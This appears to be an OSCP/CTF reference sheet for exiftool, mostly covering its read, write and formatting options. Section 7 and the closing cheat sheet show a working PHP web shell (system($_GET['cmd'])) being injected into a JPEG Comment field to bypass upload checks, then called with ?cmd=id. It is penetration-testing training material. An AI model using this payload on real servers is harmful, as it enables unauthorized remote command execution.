exiftool — Complete OSCP Reference
What is exiftool?
exiftool (by Phil Harvey) is the standard CLI for reading and writing metadata in images, PDFs, Office docs, audio/video, and 500+ file types. Reads/writes EXIF, IPTC, XMP, GPS, Comments, MakerNotes, etc.
OSCP use: Hunt hidden comments/GPS/software paths in images; EXIF PHP injection for File Upload Bypass; prep before Steghide; extract metadata from loot in web dirs.
Install (Kali):
sudo apt install libimage-exiftool-perl
# Binary: exiftoolSyntax Overview
# READ
exiftool [OPTIONS] [-TAG...] [--TAG...] FILE...
# WRITE
exiftool [OPTIONS] -TAG[+-^]=[VALUE]... FILE...
# COPY tags from another file
exiftool [OPTIONS] -tagsFromFile SRCFILE [-DSTTAG<SRC] FILE...
# LIST capabilities
exiftool -ver
exiftool -list[w|f|r|wf|g|d|x|geo]Options may appear after filenames. Unrecognized tokens are treated as tag names.
📌 1) Tag Operations
| Option | Long form | Description |
|---|---|---|
-TAG | — | Extract specific tag (e.g. -Comment, -GPSLatitude) |
-GROUP:TAG | — | Tag with group prefix (e.g. -EXIF:DateTimeOriginal, -XMP:Creator) |
-All | — | All metadata (default if no tags specified) |
--TAG | -x TAG | Exclude tag from output |
-TAG= | — | Delete tag (write mode) |
-TAG=VALUE | — | Set tag value |
-TAG+=VALUE | — | Add to list / increment numbers / shift dates |
-TAG-=VALUE | — | Remove from list / conditionally delete |
-TAG^= | — | Write empty string instead of delete |
-TAG<=FILE | — | Set tag from file contents |
-tagsFromFile SRC | — | Copy tags from source file |
-DSTTAG<SRC | — | Copy SRCTAG → DSTTAG (with -tagsFromFile) |
-TAG# | — | Disable print conversion for that tag |
Group / family prefixes
-EXIF:All # All EXIF tags
-XMP:Creator # XMP creator
-IPTC:Keywords # IPTC keywords
-GPS:All # All GPS tags
-1IPTC:City # Family 1 group (specific location)
-0EXIF:All # Family 0 (general EXIF block)List groups: exiftool -listg, exiftool -listg1
Wildcards: -Comment*, -*Date*, -All (quote on shell if using *)
📌 2) Output Formatting (Read Mode)
| Short | Long | Description |
|---|---|---|
-s | -short | Print tag names instead of descriptions |
-ss | — | Shorter: no column padding |
-sss | — | Values only (no tag names) |
-l | -long | Two-line output (name + description) |
-L | -latin | Windows Latin1 encoding |
-n | --printConv | No print conversion (raw numbers) |
-S | -veryShort | Very short output |
-t | -tab | Tab-delimited |
-T | -table | Tabular output |
-sort | — | Sort output alphabetically |
-struct | — | Structured (nested) output |
-sep STR | -separator | Separator for list-type tags |
-g[N] | -groupHeadings | Group headings in output |
-G[N] | -groupNames | Print group name per tag |
-f | -forcePrint | Force print even if empty |
-a | -duplicates | Allow duplicate tag names |
-e | --composite | Don’t generate composite tags |
-u | -unknown | Extract unknown tags |
-U | -unknown2 | Unknown binary tags too |
-D | -decimal | Tag ID numbers in decimal |
-H | -hex | Tag ID numbers in hex |
-h | -htmlFormat | HTML formatted output |
-X | -xmlFormat | RDF/XML output |
-j | -json | JSON output |
-php | — | PHP array output |
-csv | — | CSV output |
-csv=FILE | — | Import/export CSV |
-csvDelim STR | — | CSV delimiter |
-json=FILE | — | Import/export JSON |
-args | -argFormat | Output as exiftool write arguments |
-b | -binary | Binary metadata output |
-c FMT | -coordFormat | GPS coordinate format |
-d FMT | -dateFormat | Date/time format string |
-charset TYPE=CHARSET | — | Character encoding |
-lang [LANG] | — | Language for descriptions |
-p STR | -printFormat | Custom print format ($FileName, $Comment, etc.) |
-w EXT | -textOut | Write output to text files |
-W FMT | -tagOut | Per-tag output files |
-v[N] | -verbose | Verbose messages |
-q | -quiet | Quiet |
Useful read examples
exiftool image.jpg # All metadata
exiftool -s image.jpg # Tag names + values
exiftool -Comment -Artist image.jpg # Specific tags
exiftool -gps:all photo.jpg # GPS data
exiftool -a -G1 -s image.jpg # All groups, short names
exiftool -j image.jpg # JSON
exiftool -n -Orientation image.jpg # Raw Orientation number (6 = rotate 90 CW)
exiftool -b -ThumbnailImage img.jpg > thumb.jpg # Extract binary thumbnail📌 3) Write Mode
Enter write mode with -TAG=VALUE. By default creates filename_original backup.
| Short | Long | Description |
|---|---|---|
-o FILE | -out | Output file (don’t overwrite in place) |
-overwrite_original | — | Replace original (rename temp → original) |
-overwrite_original_in_place | — | Copy temp over original |
-P | -preserve | Preserve file mod time |
-m | -ignoreMinorErrors | Ignore minor errors |
-wm MODE | -writeMode | Write mode: w, a, c (create) |
-z | -zip | Read/write compressed metadata |
-password PASS | — | Password for protected PDFs |
Write examples
# Set comment
exiftool -Comment="hidden note" image.jpg
# Delete all metadata
exiftool -All= image.jpg
# Delete EXIF only
exiftool -EXIF:All= image.jpg
# Write to new file
exiftool -Comment="test" -o new.jpg image.jpg
# Overwrite without _original backup (careful)
exiftool -Comment="test" -overwrite_original image.jpg
# Copy all writable tags from another image
exiftool -tagsFromFile src.jpg -All:All dst.jpg📌 4) Processing Control
| Short | Long | Description |
|---|---|---|
-r | -recurse | Recurse subdirectories |
-r. | — | Recurse including hidden dirs |
-ext EXT | -extension | Process only extension (e.g. -ext jpg) |
-ext+ EXT | — | Add extension to default list |
-if EXPR | — | Conditional processing |
-fileOrder TAG | — | Sort files by tag value |
-@ FILE | — | Read arguments from file |
-execute | — | Multiple commands on one line |
-stay_open FLAG | — | Stay open for -@ argfile (batch API) |
-progress | — | Show progress |
-q | -quiet | Suppress messages |
-F OFFSET | -fixBase | Fix maker note offsets |
-fast[N] | — | Faster extraction (less thorough) |
-ee[N] | -extractEmbedded | Extract embedded files metadata |
-scanForXMP | — | Brute-force XMP scan |
-i DIR | -ignore | Ignore directory name |
-list_dir | — | List dirs only |
Batch / directory
exiftool -Comment -r /var/www/html/
exiftool -ext jpg -ext png -Artist -r ./images/
exiftool -if '$Comment' -Comment -r . # Only files with Comment set📌 5) Copy / Compare / Utilities
| Option | Description |
|---|---|
-tagsFromFile SRC | Copy tags from SRC to FILE |
-all:all | All writable tags (with -tagsFromFile) |
-diff FILE2 | Compare metadata with another file |
-geotag TRKFILE | Geotag from GPS log |
-globalTimeShift SHIFT | Shift all date/time values |
-delete_original | Delete _original backups |
-restore_original | Restore from _original |
-ver | Print version |
-list | List all tags |
-listw | Writable tags |
-listf | Supported file extensions |
-listr | Recognized file types |
-listwf | Writable file types |
-listg[NUM] | List tag groups |
-listd | Deletable groups |
-listx | XML tag name list |
-common | Common tag set (for CSV export) |
-config CFG | Custom config file |
-use MODULE | Plugin module |
-api OPT=VAL | ExifTool API options |
-common_args | Define shared args |
-echo TEXT | Echo to stdout/stderr |
-efile FILE | Save error filenames |
-k | -pause |
-- | End of options |
📌 6) Common Tags (OSCP / CTF)
| Tag | Look for |
|---|---|
Comment | Hidden messages, PHP payloads |
ImageDescription | CTF flags, hints |
Artist / Copyright | Credits, clues |
Software | Creating app (StegSolve, OpenSSL, etc.) |
DocumentName / HostComputer | Original paths |
GPSLatitude / GPSLongitude | Geo CTF |
UserComment | Camera user comment |
XPComment / XPKeywords | Windows EXIF |
History / DerivedFrom | Photoshop / editing trail |
ThumbnailImage | Embedded thumbnail (extract with -b) |
exiftool -Comment -ImageDescription -Software -Artist -GPS:All file.jpg
exiftool -a -s -G1 file.jpg | grep -iE "comment|software|host|path|flag"📌 7) OSCP — EXIF PHP Upload Bypass
When server checks getimagesize() but executes PHP in EXIF/comment fields:
# Inject PHP into Comment on real JPEG
exiftool -Comment='<?php system($_GET["cmd"]); ?>' clean.jpg -o shell.jpg
# Verify
exiftool shell.jpg | grep -i comment
file shell.jpg # Should still be JPEG
# Upload shell.jpg → browse shell.jpg?cmd=idSee File Upload Bypass.
📌 8) OSCP Workflow with Other Tools
file unknown.jpg
exiftool -a -G1 -s unknown.jpg
strings unknown.jpg | grep -i pass
binwalk unknown.jpg && binwalk -e unknown.jpg
steghide info unknown.jpg
exiftool -b -ThumbnailImage unknown.jpg > thumb.jpgSee File Analysis, Steghide, binwalk.
📌 9) Write Mode Safety
- Default: creates
FILE_originalbackup before write - Use
-overwrite_originalonly after verifying output -All=strips metadata — useful before upload to reduce leakage- PDF edits are reversible (ExifTool doesn’t securely wipe PDF metadata)
📌 Quick Cheat Sheet
# Read all / hunt creds
exiftool image.jpg
exiftool -a -s -G1 image.jpg | grep -iE "comment|software|path|flag|gps"
# Specific tags
exiftool -Comment -Artist -GPS:All -Software file.jpg
# JSON export
exiftool -j -Comment -r ./webroot/ > meta.json
# EXIF PHP shell
exiftool -Comment='<?php system($_GET["cmd"]); ?>' real.jpg -o shell.jpg
# Strip metadata before exfil
exiftool -All= -overwrite_original photo.jpg
# Copy metadata
exiftool -tagsFromFile src.jpg -All:All dst.jpg
# List writable tags / file types
exiftool -listw
exiftool -listf